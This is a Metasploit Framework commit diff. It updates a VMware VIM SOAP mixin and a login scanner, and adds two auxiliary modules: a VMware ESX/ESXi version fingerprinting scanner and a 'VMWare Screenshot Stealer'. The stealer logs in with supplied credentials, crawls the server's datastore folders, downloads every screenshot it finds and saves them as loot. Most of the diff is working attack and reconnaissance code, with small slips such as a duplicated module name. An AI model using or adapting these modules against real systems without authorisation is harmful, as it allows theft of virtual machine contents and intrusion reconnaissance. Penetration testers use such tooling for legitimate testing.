VMWare Web service finerprinting and OS detection.
VMWare Screenshot stealer Improvemenets to the mixin fix to check method for the login scanner
This commit is contained in:
parent
f4d768ca64
commit
8c305e1a28
|
@ -18,6 +18,7 @@ module Exploit::Remote::VIMSoap
|
|||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
return false unless res and res.code == 200
|
||||
@server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval']
|
||||
@soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}"
|
||||
if res.headers['Set-Cookie']
|
||||
|
@ -169,7 +170,7 @@ module Exploit::Remote::VIMSoap
|
|||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
tmp_dcs = []
|
||||
tmp_dcs = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
tmp_dcs << Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
tmp_dcs.flatten!
|
||||
tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}
|
||||
end
|
||||
|
@ -351,36 +352,43 @@ module Exploit::Remote::VIMSoap
|
|||
'data' => soap_req,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
datastore_ref = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
datastore_refs = []
|
||||
datastore_refs << Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
datastore_refs.flatten!
|
||||
datastore_refs.compact!
|
||||
datastores = []
|
||||
|
||||
soap_req =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveProperties xmlns="urn:vim25">
|
||||
<_this type="PropertyCollector">#{@server_objects['propertyCollector']}</_this>
|
||||
<specSet xsi:type="PropertyFilterSpec">
|
||||
<propSet xsi:type="PropertySpec">
|
||||
<type>Datastore</type>
|
||||
<pathSet>info</pathSet>
|
||||
</propSet>
|
||||
<objectSet xsi:type="ObjectSpec">
|
||||
<obj type="Datastore">#{datastore_ref}</obj>
|
||||
</objectSet>
|
||||
</specSet>
|
||||
</RetrieveProperties>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'data' => soap_req,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
datastore_name = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
|
||||
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
|
||||
return datastore
|
||||
datastore_refs.each do |datastore_ref|
|
||||
soap_req =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveProperties xmlns="urn:vim25">
|
||||
<_this type="PropertyCollector">#{@server_objects['propertyCollector']}</_this>
|
||||
<specSet xsi:type="PropertyFilterSpec">
|
||||
<propSet xsi:type="PropertySpec">
|
||||
<type>Datastore</type>
|
||||
<pathSet>info</pathSet>
|
||||
</propSet>
|
||||
<objectSet xsi:type="ObjectSpec">
|
||||
<obj type="Datastore">#{datastore_ref}</obj>
|
||||
</objectSet>
|
||||
</specSet>
|
||||
</RetrieveProperties>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'data' => soap_req,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
datastore_name = Hash.from_xml(res.body)['Envelope']['Body']['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
|
||||
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
|
||||
datastores << datastore
|
||||
end
|
||||
return datastores
|
||||
|
||||
end
|
||||
|
||||
|
@ -448,22 +456,23 @@ module Exploit::Remote::VIMSoap
|
|||
ss_folder = Rex::Text.uri_encode(ss_folder)
|
||||
ss_file = Rex::Text.uri_encode(ss_file)
|
||||
ss_path = "#{ss_folder}/#{ss_file}"
|
||||
datastore = vim_get_vm_datastore(vm['ref'])
|
||||
datastores = vim_get_vm_datastore(vm['ref'])
|
||||
user_pass = Rex::Text.encode_base64(user + ":" + pass)
|
||||
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
|
||||
ss_uri =
|
||||
res = send_request_cgi({
|
||||
'uri' => ss_uri,
|
||||
'method' => 'GET',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => {
|
||||
'SOAPAction' => @soap_action,
|
||||
'Authorization' => "Basic #{user_pass}",
|
||||
}
|
||||
}, 25)
|
||||
if res.code == 200
|
||||
return res.body
|
||||
datastores.each do |datastore|
|
||||
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
|
||||
res = send_request_cgi({
|
||||
'uri' => ss_uri,
|
||||
'method' => 'GET',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{user_pass}"}
|
||||
}, 25)
|
||||
next unless res
|
||||
if res.code == 200
|
||||
return res.body
|
||||
elsif res.code == 404
|
||||
next
|
||||
end
|
||||
end
|
||||
return :error
|
||||
end
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Screenshot Stealer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module accesses the web API interfaces for VMware ESX/ESXi servers
|
||||
and attempts to identify version information for that server.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(443)], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
datastore['URI'] ||= "/sdk"
|
||||
user = Rex::Text.rand_text_alpha(8)
|
||||
pass = Rex::Text.rand_text_alpha(8)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
if res
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
if os_match and ver_match and build_match
|
||||
unless os_match[1].include? "Server"
|
||||
report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
|
||||
end
|
||||
end
|
||||
if full_match
|
||||
print_good "Identified #{full_match[1]}"
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
|
||||
return true
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
|
||||
return false
|
||||
end
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - No response")
|
||||
end
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
|
||||
return false
|
||||
rescue
|
||||
vprint_error("Skipping #{ip} due to error - #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -43,6 +43,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Mostly taken from the Apache Tomcat service validator
|
||||
def check(ip)
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
datastore['URI'] ||= "/sdk"
|
||||
user = Rex::Text.rand_text_alpha(8)
|
||||
pass = Rex::Text.rand_text_alpha(8)
|
||||
|
@ -51,12 +59,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => gen_soap_data(user,pass)
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
if res
|
||||
fp = http_fingerprint({ :response => res })
|
||||
if fp =~ /VMWare/
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp)
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<name>([\w\s\.\-]+)<\/name>/)
|
||||
if os_match and ver_match and build_match
|
||||
report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
|
||||
end
|
||||
if full_match
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
|
||||
return true
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
|
||||
|
|
|
@ -0,0 +1,111 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Screenshot Stealer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module uses supplied login credentials to connect to VMWare via
|
||||
the web interface. It then searches through the datastores looking for screenshots.
|
||||
It will downlaod any screenshots it finds and save them as loot.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
|
||||
crawl_page('/folder')
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def crawl_page(path, parent='')
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
if res.code== 200
|
||||
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
|
||||
link = match[0]
|
||||
link.gsub!('&', '&')
|
||||
case link
|
||||
when /%2epng?/
|
||||
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
|
||||
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
|
||||
grab_screenshot(link, img_name)
|
||||
when /%2e(?!png)/
|
||||
next
|
||||
when parent
|
||||
next
|
||||
else
|
||||
crawl_page(link, path)
|
||||
end
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_error "Authorization Failure for: #{path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_screenshot(path, name)
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
if res.code == 200
|
||||
img = res.body
|
||||
ss_path = store_loot("VMWare Screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
|
||||
print_status "Screenshot saved to #{ss_path}"
|
||||
else
|
||||
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
|
||||
end
|
||||
else
|
||||
print_error "Failed to retrieve screenshot: there was no reply"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue